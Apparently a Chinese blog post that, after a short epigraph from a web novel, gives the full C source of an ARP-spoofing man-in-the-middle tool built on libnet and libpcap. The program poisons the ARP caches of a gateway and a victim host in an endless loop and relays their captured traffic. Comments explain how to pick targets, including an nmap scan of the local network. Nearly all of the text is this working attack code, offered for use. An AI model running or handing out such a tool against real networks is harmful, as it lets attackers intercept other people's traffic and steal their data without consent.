看风云无忌一时有些迟疑。
那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”
——飞升之后 · 荧惑 风云无忌
·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:
1 #include<unistd.h> 2 #include<pcap.h> 3 #include<time.h> 4 #include<stdio.h> 5 #include<stdint.h> 6 #include<stdio.h> 7 #include<stdlib.h> 8 #include<string.h> 9 #include<unistd.h> 10 #include<libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 struct ethernet_ip_hdr 16 { 17 uint8_t ether_dhost[6];/* destination ethernet address */ 18 uint8_t ether_shost[6];/* source ethernet address */ 19 uint16_t ether_type; /* protocol */ 20 uint8_t ip_ver_hdrlen; 21 uint8_t ip_tos; 22 uint16_t ip_total_len; /* total length */ 23 uint16_t ip_id; /* identification */ 24 uint16_t ip_frag; 25 uint8_t ip_ttl; /* time to live */ 26 uint8_t ip_proto; /* protocol */ 27 uint16_t ip_hdrCRC; /* checksum */ 28 uint8_t ip_src[4]; 29 uint8_t ip_dst[4]; 30 }; 31 32 struct MITM_para 33 { 34 const uint8_t * ip_A; 35 const uint8_t * mac_A; 36 const uint8_t * ip_B; 37 const uint8_t * mac_B; 38 const uint8_t * mac_M; 39 const char * BPF_filterStr; 40 const char * devMitm; 41 }; 42 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45 ) 46 { 47 static char padPtr[18]; 48 libnet_t *net_t = NULL; 49 char err_buf[LIBNET_ERRBUF_SIZE]; 50 libnet_ptag_t p_tag; 51 unsigned int i=0; 52 53 //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 54 //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 55 56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 57 if(net_t == NULL) 58 { 59 printf("libnet_init error\n"); 60 return 2; 61 } 62 63 p_tag = libnet_build_arp( 64 ARPHRD_ETHER,//hardware type ethernet 65 ETHERTYPE_IP,//protocol type 66 MAC_ADDR_LEN,//mac length 67 IP_ADDR_LEN,//protocol length 68 arpOp,//op type 69 (u_int8_t *)src_mac,//source mac addr 70 (u_int8_t *)src_ip,//source ip addr 71 (u_int8_t *)dst_mac,//dest mac addr 72 (u_int8_t *)dst_ip,//dest ip addr 73 padPtr,//payload 74 18,//payload length 75 net_t,//libnet context 76 0//0 stands to build a new one 77 ); 78 79 if(-1 == p_tag) 80 { 81 printf("libnet_build_arp error:\n"); 82 printf("ForgeAndSendArp: %s",net_t->err_buf); 83 libnet_destroy(net_t); 84 return 3; 85 } 86 87 p_tag = libnet_build_ethernet(//create ethernet header 88 (u_int8_t *)dst_mac,//dest mac addr 89 (u_int8_t *)src_mac,//source mac addr 90 ETHERTYPE_ARP,//protocol type 91 padPtr,//payload 92 0,//payload length 93 net_t,//libnet context 94 0//0 to build a new one 95 ); 96 97 if(-1 == p_tag) 98 { 99 printf("libnet_build_ethernet error!\n"); 100 printf("ForgeAndSendArp: %s",net_t->err_buf); 101 libnet_destroy(net_t); 102 return 4; 103 } 104 105 int res; 106 i=0; 107 for(;i<sendTimes;i++) 108 if(-1 == (res = libnet_write(net_t))) 109 { 110 printf("A libnet_write error!\n"); 111 printf("ForgeAndSendArp: %s",net_t->err_buf); 112 libnet_destroy(net_t); 113 return 5; 114 } 115 116 libnet_destroy(net_t); 117 return 0; 118 FAIL: 119 libnet_destroy(net_t); 120 return 6; 121 } 122 123 void ArpSpoof( 124 const uint8_t * ip_A, const uint8_t * mac_A, 125 const uint8_t * ip_B, const uint8_t * mac_B, 126 const uint8_t * mac_M, 127 const char * devMitm 128 ) 129 { 130 // 131 /* 132 arp-reply: M->A B is at M 133 arp-reply: M->B A is at M 134 */ 135 while(1) 136 { 137 usleep(500000); 138 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 ); 139 140 usleep(500000); 141 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 ); 142 } 143 } 144 145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 146 const unsigned char * dst_mac,const unsigned char * src_mac, 147 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 148 ) 149 { 150 libnet_t *net_t = NULL; 151 char err_buf[LIBNET_ERRBUF_SIZE]; 152 libnet_ptag_t p_tag; 153 unsigned int i=0; 154 155 //init the libnet context structure 156 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 157 if(net_t == NULL) 158 { 159 printf("libnet_init error\n"); 160 return 1; 161 } 162 163 //build the ethernet packet 164 p_tag = libnet_build_ethernet(//create ethernet header 165 dst_mac,//dest mac addr 166 src_mac,//source mac addr 167 protoType,//protocol type 168 padPtr,//payload 169 padLength,//payload length 170 net_t,//libnet context 171 0//0 to build a new one 172 ); 173 if(-1 == p_tag) 174 { 175 printf("libnet_build_ethernet error!\n"); 176 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf); 177 goto FAIL; 178 } 179 180 for(i=0;i<sendTimes;i++) 181 if(-1 == libnet_write(net_t)) 182 { 183 printf("B libnet_write error!\n"); 184 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf); 185 goto FAIL; 186 } 187 188 libnet_destroy(net_t); 189 return 0; 190 FAIL: 191 libnet_destroy(net_t); 192 return 1; 193 } 194 195 196 197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 198 { 199 int i; 200 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 201 unsigned int sendTimes=1; 202 const uint16_t etherProto=0x0800; 203 const char * dev=mitmParaPtr->devMitm; 204 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 205 const uint8_t * ether_Bhost=mitmParaPtr->mac_B; 206 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 207 const uint8_t * A_IP=mitmParaPtr->ip_A; 208 const uint8_t * B_IP=mitmParaPtr->ip_B; 209 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 210 211 if ( 212 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 213 //&& 214 //(0==memcmp(hdrPtr->ip_dst,B_IP,4)) 215 ) 216 { // packet: A send to B 217 printf(" :) ether src A && ip dst B\n"); 218 BuildAndSendEthernetPacket(dev,sendTimes, 219 ether_Bhost,ether_Mhost, 220 //dst_mac, src_mac, 221 etherProto,packet+14,pkthdr->len-14 222 ); 223 } 224 else if ( 225 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 226 //&& 227 //(0==memcmp(hdrPtr->ip_dst,A_IP,4)) 228 ) 229 { // packet: B send to A 230 printf("ether src B && ip dst A\n"); 231 BuildAndSendEthernetPacket(dev,sendTimes, 232 ether_Ahost,ether_Mhost, 233 //dst_mac, src_mac, 234 etherProto,packet+14,pkthdr->len-14 235 ); 236 } 237 } 238 239 240 int mitm_forwarder( 241 const uint8_t * ip_A, const uint8_t * mac_A, 242 const uint8_t * ip_B, const uint8_t * mac_B, 243 const uint8_t * mac_M,const char * BPF_filterStr, 244 const char * devMitm 245 ) 246 //BPF_filterStr: ether dst mac_M and ip 247 { 248 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 249 struct bpf_program filter; 250 251 struct MITM_para mitmPara; 252 253 mitmPara.ip_A=ip_A; 254 mitmPara.mac_A=mac_A; 255 256 mitmPara.ip_B=ip_B; 257 mitmPara.mac_B=mac_B; 258 259 mitmPara.mac_M=mac_M; 260 261 mitmPara.BPF_filterStr=BPF_filterStr; 262 mitmPara.devMitm=devMitm; 263 264 /* get a device */ 265 devStr = pcap_lookupdev(errBuf); 266 267 if(devStr) 268 { 269 printf("success: device: %s\n", devStr); 270 } 271 else 272 { 273 printf("error: %s\n", errBuf); 274 exit(1); 275 } 276 277 /* open a device, wait until a packet arrives */ 278 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf); 279 280 if(!device) 281 { 282 printf("error: pcap_open_live(): %s\n", errBuf); 283 exit(1); 284 } 285 // ether dst 00:11:22:33:44:55 and ip 286 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 287 pcap_setfilter(device ,&filter ); 288 /* wait loop forever */ 289 pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara); 290 291 pcap_close(device); 292 293 return 0; 294 } 295 296 297 /* 298 gw kali 299 192.168.1.1 192.168.1.108 300 14:E6:E4:94:B4:D6 00:7B:05:03:8E:90 301 A B 302 303 00:11:22:33:44:55 304 M 305 被攻击者: 306 ip_A mac_A 307 ip_B mac_B 308 中间人: 309 mac_B 310 中间人所选用的网络设备: 311 devMitm : 如 "eth0" 312 中间人所用BPF过滤规则: 313 BPF_filterStr : 格式是 "ether dst 00:11:22:33:44:55 and ip " 314 其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可 315 建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。 316 实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。 317 318 */ 319 320 void main() 321 322 { 323 uint8_t ip_A[4]={172,16,0,1}; 324 uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85}; 325 326 uint8_t ip_B[4]={172,16,31,99}; 327 uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56}; 328 329 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 330 331 //BPF_filterStr: ether dst mac_M and ip 332 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip "; 333 char * devMitm="eth0"; 334 335 //local 336 pid_t sonPid; 337 338 sonPid=fork(); 339 if( sonPid==-1 ) 340 {//failure 341 printf("failure:mitm fork error :( \n"); 342 } 343 else if(sonPid==0) 344 {//child 345 printf("child : pid:%d:)\n",getpid()); 346 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 347 } 348 else 349 {//parent 350 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid); 351 sleep(2); 352 mitm_forwarder( 353 ip_A,mac_A, 354 ip_B,mac_B, 355 mac_M,BPF_filterStr, 356 devMitm 357 ); 358 } 359 }